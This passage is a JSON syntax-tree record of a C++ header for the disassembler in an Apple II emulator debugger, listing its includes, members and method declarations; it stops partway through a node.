(identifier) "reset" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ m_reset_window = true; }" ({) "{" (expression_statement) "m_reset_window = true;" (assignment_expression) "m_reset_window = true" (identifier) "m_reset_window" (=) "=" (true) "true" (;) ";" (}) "}" (}) "}" (expression_statement) ";" (;) ";"
297
4
{"language": "c", "success": true, "metadata": {"lines": 58, "avg_line_length": 38.55, "nodes": 181, "errors": 0, "source_hash": "4dd2a27ecdaa1c8f345fc89fd4a24a925054aeecbd743c1345faa9add8110cd9", "categorized_nodes": 116}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 28, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include <array>\n", "parent": null, "children": [4, 5], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 30, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<array>", "parent": 3, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 16}}, {"id": 6, "type": "preproc_include", "text": "#include <cstring>\n", "parent": null, "children": [7, 8], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 31, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<cstring>", "parent": 6, "children": [], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 18}}, {"id": 9, "type": "preproc_include", "text": "#include <string>\n", "parent": null, "children": [10, 11], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<string>", "parent": 9, "children": [], "start_point": {"row": 31, "column": 9}, "end_point": {"row": 31, "column": 17}}, {"id": 12, "type": "preproc_include", "text": "#include <vector>\n", "parent": null, "children": [13, 14], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<vector>", "parent": 12, "children": [], "start_point": {"row": 32, "column": 9}, "end_point": {"row": 32, "column": 17}}, {"id": 15, "type": "preproc_include", "text": "#include <map>\n", "parent": null, "children": [16, 17], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 34, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 8}}, {"id": 17, "type": "system_lib_string", "text": "<map>", "parent": 15, "children": [], "start_point": {"row": 33, "column": 9}, "end_point": {"row": 33, "column": 14}}, {"id": 18, "type": "preproc_include", "text": "#include \"apple2emu.h\"\n", "parent": null, "children": [19, 20], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 36, "column": 0}}, {"id": 19, "type": "#include", "text": "#include", "parent": 18, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 8}}, {"id": 20, "type": "string_literal", "text": "\"apple2emu.h\"", "parent": 18, "children": [], "start_point": {"row": 35, "column": 9}, "end_point": {"row": 35, "column": 22}}, {"id": 21, "type": "preproc_include", "text": "#include \"apple2emu_defs.h\"\n", "parent": null, "children": [22, 23], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 37, "column": 0}}, {"id": 22, "type": "#include", "text": "#include", "parent": 21, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 8}}, {"id": 23, "type": "string_literal", "text": "\"apple2emu_defs.h\"", "parent": 21, "children": [], "start_point": {"row": 36, "column": 9}, "end_point": {"row": 36, "column": 27}}, {"id": 24, "type": "preproc_include", "text": "#include \"debugger_console.h\"\n", "parent": null, "children": [25, 26], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 38, "column": 0}}, {"id": 25, "type": "#include", "text": "#include", "parent": 24, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 8}}, {"id": 26, "type": "string_literal", "text": "\"debugger_console.h\"", "parent": 24, "children": [], "start_point": {"row": 37, "column": 9}, "end_point": {"row": 37, "column": 29}}, {"id": 27, "type": "preproc_include", "text": "#include \"imgui.h\"\n", "parent": null, "children": [28, 29], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 39, "column": 0}}, {"id": 28, "type": "#include", "text": "#include", "parent": 27, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 8}}, {"id": 29, "type": "string_literal", "text": "\"imgui.h\"", "parent": 27, "children": [], "start_point": {"row": 38, "column": 9}, "end_point": {"row": 38, "column": 18}}, {"id": 30, "type": "function_definition", "text": "class debugger_disasm\n{\n\tstatic const uint32_t m_disassembly_line_length = 256;\n\nprivate:\n\n\t// definitions for symbol tables\n\ttypedef std::map<uint16_t, std::string> symtable_map;\n\tsymtable_map m_symtable;\n\n\tuint16_t m_break_addr;\n\tuint16_t m_current_addr;\n\tdebugger_console *m_console;\n\tbool m_reset_window;\n\n\n\tstatic const char *m_addressing_format_string[];\n\tstatic const char *m_addressing_format_string_with_symbol[];\n\tchar m_disassembly_line[m_disassembly_line_length];\n\npublic:\n\tdebugger_disasm();\n\t~debugger_disasm();\n\tvoid add_symtable(const std::string &filename);\n\tvoid remove_symtable(const std::string &filename);\n\tconst char *find_symbol(uint16_t addr);\n\tuint8_t get_disassembly(uint16_t addr);\n\tvoid draw(const char* title, uint16_t addr);\n\tvoid set_break_addr(uint16_t addr);\n\tchar *get_disassembly_line() { return m_disassembly_line; }\n\tvoid attach_console(debugger_console *console);\n\tvoid reset() { m_reset_window = true; }\n}", "parent": null, "children": [31], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 72, "column": 1}}, {"id": 31, "type": "identifier", "text": "debugger_disasm", "parent": 30, "children": [], "start_point": {"row": 40, "column": 6}, "end_point": {"row": 40, "column": 21}}, {"id": 32, "type": "declaration", "text": "static const uint32_t m_disassembly_line_length = 256;", "parent": 30, "children": [33, 34], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 55}}, {"id": 33, "type": "primitive_type", "text": "uint32_t", "parent": 32, "children": [], "start_point": {"row": 42, "column": 14}, "end_point": {"row": 42, "column": 22}}, {"id": 34, "type": "init_declarator", "text": "m_disassembly_line_length = 256", "parent": 32, "children": [35, 36, 37], "start_point": {"row": 42, "column": 23}, "end_point": {"row": 42, "column": 54}}, {"id": 35, "type": "identifier", "text": "m_disassembly_line_length", "parent": 34, "children": [], "start_point": {"row": 42, "column": 23}, "end_point": {"row": 42, "column": 48}}, {"id": 36, "type": "=", "text": "=", "parent": 34, "children": [], "start_point": {"row": 42, "column": 49}, "end_point": {"row": 42, "column": 50}}, {"id": 37, "type": "number_literal", "text": "256", "parent": 34, "children": [], "start_point": {"row": 42, "column": 51}, "end_point": {"row": 42, "column": 54}}, {"id": 38, "type": "labeled_statement", "text": "private:\n\n\t// definitions for symbol tables\n\ttypedef std::map<uint16_t, std::string> symtable_map;", "parent": 30, "children": [39], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 47, "column": 54}}, {"id": 39, "type": "declaration", "text": "typedef std::map<uint16_t, std::string> symtable_map;", "parent": 38, "children": [40, 41, 42, 46, 50], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 54}}, {"id": 40, "type": "type_identifier", "text": "typedef", "parent": 39, "children": [], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 8}}, {"id": 41, "type": "identifier", "text": "std", "parent": 39, "children": [], "start_point": {"row": 47, "column": 9}, "end_point": {"row": 47, "column": 12}}, {"id": 42, "type": "ERROR", "text": "::map<uint16_t", "parent": 39, "children": [43, 44, 45], "start_point": {"row": 47, "column": 12}, "end_point": {"row": 47, "column": 26}}, {"id": 43, "type": "identifier", "text": "map", "parent": 42, "children": [], "start_point": {"row": 47, "column": 14}, "end_point": {"row": 47, "column": 17}}, {"id": 44, "type": "<", "text": "<", "parent": 42, "children": [], "start_point": {"row": 47, "column": 17}, "end_point": {"row": 47, "column": 18}}, {"id": 45, "type": "primitive_type", "text": "uint16_t", "parent": 42, "children": [], "start_point": {"row": 47, "column": 18}, "end_point": {"row": 47, "column": 26}}, {"id": 46, "type": "ERROR", "text": "std::string>", "parent": 39, "children": [47, 48, 49], "start_point": {"row": 47, "column": 28}, "end_point": {"row": 47, "column": 40}}, {"id": 47, "type": "identifier", "text": "std", "parent": 46, "children": [], "start_point": {"row": 47, "column": 28}, "end_point": {"row": 47, "column": 31}}, {"id": 48, "type": "identifier", "text": "string", "parent": 46, "children": [], "start_point": {"row": 47, "column": 33}, "end_point": {"row": 47, "column": 39}}, {"id": 49, "type": ">", "text": ">", "parent": 46, "children": [], "start_point": {"row": 47, "column": 39}, "end_point": {"row": 47, "column": 40}}, {"id": 50, "type": "identifier", "text": "symtable_map", "parent": 39, "children": [], "start_point": {"row": 47, "column": 41}, "end_point": {"row": 47, "column": 53}}, {"id": 51, "type": "declaration", "text": "symtable_map m_symtable;", "parent": 30, "children": [52, 53], "start_point": {"row": 48, "column": 1}, "end_point": {"row": 48, "column": 25}}, {"id": 52, "type": "type_identifier", "text": "symtable_map", "parent": 51, "children": [], "start_point": {"row": 48, "column": 1}, "end_point": {"row": 48, "column": 13}}, {"id": 53, "type": "identifier", "text": "m_symtable", "parent": 51, "children": [], "start_point": {"row": 48, "column": 14}, "end_point": {"row": 48, "column": 24}}, {"id": 54, "type": "declaration", "text": "uint16_t m_break_addr;", "parent": 30, "children": [55, 56], "start_point": {"row": 50, "column": 1}, "end_point": {"row": 50, "column": 32}}, {"id": 55, "type": "primitive_type", "text": "uint16_t", "parent": 54, "children": [], "start_point": {"row": 50, "column": 1}, "end_point": {"row": 50, "column": 9}}, {"id": 56, "type": "identifier", "text": "m_break_addr", "parent": 54, "children": [], "start_point": {"row": 50, "column": 19}, "end_point": {"row": 50, "column": 31}}, {"id": 57, "type": "declaration", "text": "uint16_t m_current_addr;", "parent": 30, "children": [58, 59], "start_point": {"row": 51, "column": 1}, "end_point": {"row": 51, "column": 34}}, {"id": 58, "type": "primitive_type", "text": "uint16_t", "parent": 57, "children": [], "start_point": {"row": 51, "column": 1}, "end_point": {"row": 51, "column": 9}}, {"id": 59, "type": "identifier", "text": "m_current_addr", "parent": 57, "children": [], "start_point": {"row": 51, "column": 19}, "end_point": {"row": 51, "column": 33}}, {"id": 60, "type": "declaration", "text": "debugger_console *m_console;", "parent": 30, "children": [61, 62], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 29}}, {"id": 61, "type": "type_identifier", "text": "debugger_console", "parent": 60, "children": [], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 17}}, {"id": 62, "type": "pointer_declarator", "text": "*m_console", "parent": 60, "children": [63, 64], "start_point": {"row": 52, "column": 18}, "end_point": {"row": 52, "column": 28}}, {"id": 63, "type": "*", "text": "*", "parent": 62, "children": [], "start_point": {"row": 52, "column": 18}, "end_point": {"row": 52, "column": 19}}, {"id": 64, "type": "identifier", "text": "m_console", "parent": 62, "children": [], "start_point": {"row": 52, "column": 19}, "end_point": {"row": 52, "column": 28}}, {"id": 65, "type": "declaration", "text": "bool m_reset_window;", "parent": 30, "children": [66, 67], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 34}}, {"id": 66, "type": "primitive_type", "text": "bool", "parent": 65, "children": [], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 5}}, {"id": 67, "type": "identifier", "text": "m_reset_window", "parent": 65, "children": [], "start_point": {"row": 53, "column": 19}, "end_point": {"row": 53, "column": 33}}, {"id": 68, "type": "declaration", "text": "static const char *m_addressing_format_string[];", "parent": 30, "children": [69, 70], "start_point": {"row": 56, "column": 1}, "end_point": {"row": 56, "column": 49}}, {"id": 69, "type": "primitive_type", "text": "char", "parent": 68, "children": [], "start_point": {"row": 56, "column": 14}, "end_point": {"row": 56, "column": 18}}, {"id": 70, "type": "pointer_declarator", "text": "*m_addressing_format_string[]", "parent": 68, "children": [71, 72], "start_point": {"row": 56, "column": 19}, "end_point": {"row": 56, "column": 48}}, {"id": 71, "type": "*", "text": "*", "parent": 70, "children": [], "start_point": {"row": 56, "column": 19}, "end_point": {"row": 56, "column": 20}}, {"id": 72, "type": "array_declarator", "text": "m_addressing_format_string[]", "parent": 70, "children": [73], "start_point": {"row": 56, "column": 20}, "end_point": {"row": 56, "column": 48}}, {"id": 73, "type": "identifier", "text": "m_addressing_format_string", "parent": 72, "children": [], "start_point": {"row": 56, "column": 20}, "end_point": {"row": 56, "column": 46}}, {"id": 74, "type": "declaration", "text": "static const char *m_addressing_format_string_with_symbol[];", "parent": 30, "children": [75, 76], "start_point": {"row": 57, "column": 1}, "end_point": {"row": 57, "column": 61}}, {"id": 75, "type": "primitive_type", "text": "char", "parent": 74, "children": [], "start_point": {"row": 57, "column": 14}, "end_point": {"row": 57, "column": 18}}, {"id": 76, "type": "pointer_declarator", "text": "*m_addressing_format_string_with_symbol[]", "parent": 74, "children": [77, 78], "start_point": {"row": 57, "column": 19}, "end_point": {"row": 57, "column": 60}}, {"id": 77, "type": "*", "text": "*", "parent": 76, "children": [], "start_point": {"row": 57, "column": 19}, "end_point": {"row": 57, "column": 20}}, {"id": 78, "type": "array_declarator", "text": "m_addressing_format_string_with_symbol[]", "parent": 76, "children": [79], "start_point": {"row": 57, "column": 20}, "end_point": {"row": 57, "column": 60}}, {"id": 79, "type": "identifier", "text": "m_addressing_format_string_with_symbol", "parent": 78, "children": [], "start_point": {"row": 57, "column": 20}, "end_point": {"row": 57, "column": 58}}, {"id": 80, "type": "declaration", "text": "char m_disassembly_line[m_disassembly_line_length];", "parent": 30, "children": [81, 82], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 52}}, {"id": 81, "type": "primitive_type", "text": "char", "parent": 80, "children": [], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 5}}, {"id": 82, "type": "array_declarator", "text": "m_disassembly_line[m_disassembly_line_length]", "parent": 80, "children": [83, 84], "start_point": {"row": 58, "column": 6}, "end_point": {"row": 58, "column": 51}}, {"id": 83, "type": "identifier", "text": "m_disassembly_line", "parent": 82, "children": [], "start_point": {"row": 58, "column": 6}, "end_point": {"row": 58, "column": 24}}, {"id": 84, "type": "identifier", "text": "m_disassembly_line_length", "parent": 82, "children": [], "start_point": {"row": 58, "column": 25}, "end_point": {"row": 58, "column": 50}}, {"id": 85, "type": "labeled_statement", "text": "public:\n\tdebugger_disasm();", "parent": 30, "children": [], "start_point": {"row": 60, "column": 0}, "end_point": {"row": 61, "column": 19}}, {"id": 86, "type": "call_expression", "text": "debugger_disasm()", "parent": 85, "children": [87, 88], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 18}}, {"id": 87, "type": "identifier", "text": "debugger_disasm", "parent": 86, "children": [], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 16}}, {"id": 88, "type": "argument_list", "text": "()", "parent": 86, "children": [], "start_point": {"row": 61, "column": 16}, "end_point": {"row": 61, "column": 18}}, {"id": 89, "type": "unary_expression", "text": "~debugger_disasm()", "parent": 30, "children": [90, 91], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 19}}, {"id": 90, "type": "~", "text": "~", "parent": 89, "children": [], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 2}}, {"id": 91, "type": "call_expression", "text": "debugger_disasm()", "parent": 89, "children": [92, 93], "start_point": {"row": 62, "column": 2}, "end_point": {"row": 62, "column": 19}}, {"id": 92, "type": "identifier", "text": "debugger_disasm", "parent": 91, "children": [], "start_point": {"row": 62, "column": 2}, "end_point": {"row": 62, "column": 17}}, {"id": 93, "type": "argument_list", "text": "()", "parent": 91, "children": [], "start_point": {"row": 62, "column": 17}, "end_point": {"row": 62, "column": 19}}, {"id": 94, "type": "declaration", "text": "void add_symtable(const std::string &filename);", "parent": 30, "children": [95, 96], "start_point": {"row": 63, "column": 1}, "end_point": {"row": 63, "column": 48}}, {"id": 95, "type": "primitive_type", "text": "void", "parent": 94, "children": [], "start_point": {"row": 63, "column": 1}, "end_point": {"row": 63, "column": 5}}, {"id": 96, "type": "function_declarator", "text": "add_symtable(const std::string &filename)", "parent": 94, "children": [97, 98], "start_point": {"row": 63, "column": 6}, "end_point": {"row": 63, "column": 47}}, {"id": 97, "type": "identifier", "text": "add_symtable", "parent": 96, "children": [], "start_point": {"row": 63, "column": 6}, "end_point": {"row": 63, "column": 18}}, {"id": 98, "type": "parameter_list", "text": "(const std::string &filename)", "parent": 96, "children": [99], "start_point": {"row": 63, "column": 18}, "end_point": {"row": 63, "column": 47}}, {"id": 99, "type": "parameter_declaration", "text": "const std::string &filename", "parent": 98, "children": [100, 101, 103], "start_point": {"row": 63, "column": 19}, "end_point": {"row": 63, "column": 46}}, {"id": 100, "type": "type_identifier", "text": "std", "parent": 99, "children": [], "start_point": {"row": 63, "column": 25}, "end_point": {"row": 63, "column": 28}}, {"id": 101, "type": "ERROR", "text": "::string &", "parent": 99, "children": [102], "start_point": {"row": 63, "column": 28}, "end_point": {"row": 63, "column": 38}}, {"id": 102, "type": "identifier", "text": "string", "parent": 101, "children": [], "start_point": {"row": 63, "column": 30}, "end_point": {"row": 63, "column": 36}}, {"id": 103, "type": "identifier", "text": "filename", "parent": 99, "children": [], "start_point": {"row": 63, "column": 38}, "end_point": {"row": 63, "column": 46}}, {"id": 104, "type": "declaration", "text": "void remove_symtable(const std::string &filename);", "parent": 30, "children": [105, 106], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 51}}, {"id": 105, "type": "primitive_type", "text": "void", "parent": 104, "children": [], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 5}}, {"id": 106, "type": "function_declarator", "text": "remove_symtable(const std::string &filename)", "parent": 104, "children": [107, 108], "start_point": {"row": 64, "column": 6}, "end_point": {"row": 64, "column": 50}}, {"id": 107, "type": "identifier", "text": "remove_symtable", "parent": 106, "children": [], "start_point": {"row": 64, "column": 6}, "end_point": {"row": 64, "column": 21}}, {"id": 108, "type": "parameter_list", "text": "(const std::string &filename)", "parent": 106, "children": [109], "start_point": {"row": 64, "column": 21}, "end_point": {"row": 64, "column": 50}}, {"id": 109, "type": "parameter_declaration", "text": "const std::string &filename", "parent": 108, "children": [110, 111, 113], "start_point": {"row": 64, "column": 22}, "end_point": {"row": 64, "column": 49}}, {"id": 110, "type": "type_identifier", "text": "std", "parent": 109, "children": [], "start_point": {"row": 64, "column": 28}, "end_point": {"row": 64, "column": 31}}, {"id": 111, "type": "ERROR", "text": "::string &", "parent": 109, "children": [112], "start_point": {"row": 64, "column": 31}, "end_point": {"row": 64, "column": 41}}, {"id": 112, "type": "identifier", "text": "string", "parent": 111, "children": [], "start_point": {"row": 64, "column": 33}, "end_point": {"row": 64, "column": 39}}, {"id": 113, "type": "identifier", "text": "filename", "parent": 109, "children": [], "start_point": {"row": 64, "column": 41}, "end_point": {"row": 64, "column": 49}}, {"id": 114, "type": "declaration", "text": "const char *find_symbol(uint16_t addr);", "parent": 30, "children": [115, 116], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 65, "column": 40}}, {"id": 115, "type": "primitive_type", "text": "char", "parent": 114, "children": [], "start_point": {"row": 65, "column": 7}, "end_point": {"row": 65, "column": 11}}, {"id": 116, "type": "pointer_declarator", "text": "*find_symbol(uint16_t addr)", "parent": 114, "children": [117, 118], "start_point": {"row": 65, "column": 12}, "end_point": {"row": 65, "column": 39}}, {"id": 117, "type": "*", "text": "*", "parent": 116, "children": [], "start_point": {"row": 65, "column": 12}, "end_point": {"row": 65, "column": 13}}, {"id": 118, "type": "function_declarator", "text": "find_symbol(uint16_t addr)", "parent": 116, "children": [119, 120], "start_point": {"row": 65, "column": 13}, "end_point": {"row": 65, "column": 39}}, {"id": 119, "type": "identifier", "text": "find_symbol", "parent": 118, "children": [], "start_point": {"row": 65, "column": 13}, "end_point": {"row": 65, "column": 24}}, {"id": 120, "type": "parameter_list", "text": "(uint16_t addr)", "parent": 118, "children": [121], "start_point": {"row": 65, "column": 24}, "end_point": {"row": 65, "column": 39}}, {"id": 121, "type": "parameter_declaration", "text": "uint16_t addr", "parent": 120, "children": [122, 123], "start_point": {"row": 65, "column": 25}, "end_point": {"row": 65, "column": 38}}, {"id": 122, "type": "primitive_type", "text": "uint16_t", "parent": 121, "children": [], "start_point": {"row": 65, "column": 25}, "end_point": {"row": 65, "column": 33}}, {"id": 123, "type": "identifier", "text": "addr", "parent": 121, "children": [], "start_point": {"row": 65, "column": 34}, "end_point": {"row": 65, "column": 38}}, {"id": 124, "type": "declaration", "text": "uint8_t get_disassembly(uint16_t addr);", "parent": 30, "children": [125, 126], "start_point": {"row": 66, "column": 1}, "end_point": {"row": 66, "column": 40}}, {"id": 125, "type": "primitive_type", "text": "uint8_t", "parent": 124, "children": [], "start_point": {"row": 66, "column": 1}, "end_point": {"row": 66, "column": 8}}, {"id": 126, "type": "function_declarator", "text": "get_disassembly(uint16_t addr)", "parent": 124, "children": [127, 128], "start_point": {"row": 66, "column": 9}, "end_point": {"row": 66, "column": 39}}, {"id": 127, "type": "identifier", "text": "get_disassembly", "parent": 126, "children": [], "start_point": {"row": 66, "column": 9}, "end_point": {"row": 66, "column": 24}}, {"id": 128, "type": "parameter_list", "text": "(uint16_t addr)", "parent": 126, "children": [129], "start_point": {"row": 66, "column": 24}, "end_point": {"row": 66, "column": 39}}, {"id": 129, "type": "parameter_declaration", "text": "uint16_t addr", "parent": 128, "children": [130, 131], "start_point": {"row": 66, "column": 25}, "end_point": {"row": 66, "column": 38}}, {"id": 130, "type": "primitive_type", "text": "uint16_t", "parent": 129, "children": [], "start_point": {"row": 66, "column": 25}, "end_point": {"row": 66, "column": 33}}, {"id": 131, "type": "identifier", "text": "addr", "parent": 129, "children": [], "start_point": {"row": 66, "column": 34}, "end_point": {"row": 66, "column": 38}}, {"id": 132, "type": "declaration", "text": "void draw(const char* title, uint16_t addr);", "parent": 30, "children": [133, 134], "start_point": {"row": 67, "column": 1}, "end_point": {"row": 67, "column": 45}}, {"id": 133, "type": "primitive_type", "text": "void", "parent": 132, "children": [], "start_point": {"row": 67, "column": 1}, "end_point": {"row": 67, "column": 5}}, {"id": 134, "type": "function_declarator", "text": "draw(const char* title, uint16_t addr)", "parent": 132, "children": [135, 136], "start_point": {"row": 67, "column": 6}, "end_point": {"row": 67, "column": 44}}, {"id": 135, "type": "identifier", "text": "draw", "parent": 134, "children": [], "start_point": {"row": 67, "column": 6}, "end_point": {"row": 67, "column": 10}}, {"id": 136, "type": "parameter_list", "text": "(const char* title, uint16_t addr)", "parent": 134, "children": [137, 142], "start_point": {"row": 67, "column": 10}, "end_point": {"row": 67, "column": 44}}, {"id": 137, "type": "parameter_declaration", "text": "const char* title", "parent": 136, "children": [138, 139], "start_point": {"row": 67, "column": 11}, "end_point": {"row": 67, "column": 28}}, {"id": 138, "type": "primitive_type", "text": "char", "parent": 137, "children": [], "start_point": {"row": 67, "column": 17}, "end_point": {"row": 67, "column": 21}}, {"id": 139, "type": "pointer_declarator", "text": "* title", "parent": 137, "children": [140, 141], "start_point": {"row": 67, "column": 21}, "end_point": {"row": 67, "column": 28}}, {"id": 140, "type": "*", "text": "*", "parent": 139, "children": [], "start_point": {"row": 67, "column": 21}, "end_point": {"row": 67, "column": 22}}, {"id": 141, "type": "identifier", "text": "title", "parent": 139, "children": [], "start_point": {"row": 67, "column": 23}, "end_point": {"row": 67, "column": 28}}, {"id": 142, "type": "parameter_declaration", "text": "uint16_t addr", "parent": 136, "children": [143, 144], "start_point": {"row": 67, "column": 30}, "end_point": {"row": 67, "column": 43}}, {"id": 143, "type": "primitive_type", "text": "uint16_t", "parent": 142, "children": [], "start_point": {"row": 67, "column": 30}, "end_point": {"row": 67, "column": 38}}, {"id": 144, "type": "identifier", "text": "addr", "parent": 142, "children": [], "start_point": {"row": 67, "column": 39}, "end_point": {"row": 67, "column": 43}}, {"id": 145, "type": "declaration", "text": "void set_break_addr(uint16_t addr);", "parent": 30, "children": [146, 147], "start_point": {"row": 68, "column": 1}, "end_point": {"row": 68, "column": 36}}, {"id": 146, "type": "primitive_type", "text": "void", "parent": 145, "children": [], "start_point": {"row": 68, "column": 1}, "end_point": {"row": 68, "column": 5}}, {"id": 147, "type": "function_declarator", "text": "set_break_addr(uint16_t addr)", "parent": 145, "children": [148, 149], "start_point": {"row": 68, "column": 6}, "end_point": {"row": 68, "column": 35}}, {"id": 148, "type": "identifier", "text": "set_break_addr", "parent": 147, "children": [], "start_point": {"row": 68, "column": 6}, "end_point": {"row": 68, "column": 20}}, {"id": 149, "type": "parameter_list", "text": "(uint16_t addr)", "parent": 147, "children": [150], "start_point": {"row": 68, "column": 20}, "end_point": {"row": 68, "column": 35}}, {"id": 150, "type": "parameter_declaration", "text": "uint16_t addr", "parent": 149, "children": [151, 152], "start_point": {"row": 68, "column": 21}, "end_point": {"row": 68, "column": 34}}, {"id": 151, "type": "primitive_type", "text": "uint16_t", "parent": 150, "children": [], "start_point": {"row": 68, "column": 21}, "end_point": {"row": 68, "column": 29}}, {"id": 152, "type": "identifier", "text": "addr", "parent": 150, "children": [], "start_point": {"row": 68, "column": 30}, "end_point": {"row": 68, "column": 34}}, {"id": 153, "type": "function_definition", "text": "char *get_disassembly_line() { return m_disassembly_line; }", "parent": 30, "children": [154, 155], "start_point": {"row": 69, "column": 1}, "end_point": {"row": 69, "column": 60}}, {"id": 154, "type": "primitive_type", "text": "char", "parent": 153, "children": [], "start_point": {"row": 69, "column": 1}, "end_point": {"row": 69, "column": 5}}, {"id": 155, "type": "pointer_declarator", "text": "*get_disassembly_line()", "parent": 153, "children": [156, 157], "start_point": {"row": 69, "column": 6}, "end_point": {"row": 69, "column": 29}}, {"id": 156, "type": "*", "text": "*", "parent": 155, "children": [], "start_point": {"row": 69, "column": 6}, "end_point": {"row": 69, "column": 7}}, {"id": 157, "type": "function_declarator", "text": "get_disassembly_line()", "parent": 155, "children": [158, 159], "start_point": {"row": 69, "column": 7}, "end_point": {"row": 69, "column": 29}}, {"id": 158, "type": "identifier", "text": "get_disassembly_line", "parent": 157, "children": [], "start_point": {"row": 69, "column": 7}, "end_point": {"row": 69, "column": 27}}, {"id": 159, "type": "parameter_list", "text": "()", "parent": 157, "children": [], "start_point": {"row": 69, "column": 27}, "end_point": {"row": 69, "column": 29}}, {"id": 160, "type": "return_statement", "text": "return m_disassembly_line;", "parent": 153, "children": [161], "start_point": {"row": 69, "column": 32}, "end_point": {"row": 69, "column": 58}}, {"id": 161, "type": "identifier", "text": "m_disassembly_line", "parent": 160, "children": [], "start_point": {"row": 69, "column": 39}, "end_point": {"row": 69, "column": 57}}, {"id": 162, "type": "declaration", "text": "void attach_console(debugger_console *console);", "parent": 30, "children": [163, 164], "start_point": {"row": 70, "column": 1}, "end_point": {"row": 70, "column": 48}}, {"id": 163, "type": "primitive_type", "text": "void", "parent": 162, "children": [], "start_point": {"row": 70, "column": 1}, "end_point": {"row": 70, "column": 5}}, {"id": 164, "type": "function_declarator", "text": "attach_console(debugger_console *console)", "parent": 162, "children": [165, 166], "start_point": {"row": 70, "column": 6}, "end_point": {"row": 70, "column": 47}}, {"id": 165, "type": "identifier", "text": "attach_console", "parent": 164, "children": [], "start_point": {"row": 70, "column": 6}, "end_point": {"row": 70, "column": 20}}, {"id": 166, "type": "parameter_list", "text": "(debugger_console *console)", "parent": 164, "children": [167], "start_point": {"row": 70, "column": 20}, "end_point": {"row": 70, "column": 47}}, {"id": 167, "type": "parameter_declaration", "text": "debugger_console *console", "parent": 166, "children": [168, 169], "start_point": {"row": 70, "column": 21}, "end_point": {"row": 70, "column": 46}}, {"id": 168, "type": "type_identifier", "text": "debugger_console", "parent": 167, "children": [], "start_point": {"row": 70, "column": 21}, "end_point": {"row": 70, "column": 37}}, {"id": 169, "type": "pointer_declarator", "text": "*console", "parent": 167, "children": [170, 171], "start_point": {"row": 70, "column": 38}, "end_point": {"row": 70, "column": 46}}, {"id": 170, "type": "*", "text": "*", "parent": 169, "children": [], "start_point": {"row": 70, "column": 38}, "end_point": {"row": 70, "column": 39}}, {"id": 171, "type": "identifier", "text": "console", "parent": 169, "children": [], "start_point": {"row": 70, "column": 39}, "end_point": {"row": 70, "column": 46}}, {"id": 172, "type": "function_definition", "text": "void reset() { m_reset_window = true; }", "parent": 30, "children": [173, 174], "start_point": {"row": 71, "column": 1}, "end_point": {"row": 71, "column": 40}}, {"id": 173, "type": "primitive_type", "text": "void", "parent": 172, "children": [], "start_point": {"row": 71, "column": 1}, "end_point": {"row": 71, "column": 5}}, {"id": 174, "type": "function_declarator", "text": "reset()", "parent": 172, "children": [175, 176], "start_point": {"row": 71, "column": 6}, "end_point": {"row": 71, "column": 13}}, {"id": 175, "type": "identifier", "text": "reset", "parent": 174, "children": [], "start_point": {"row": 71, "column": 6}, "end_point": {"row": 71, "column": 11}}, {"id": 176, "type": 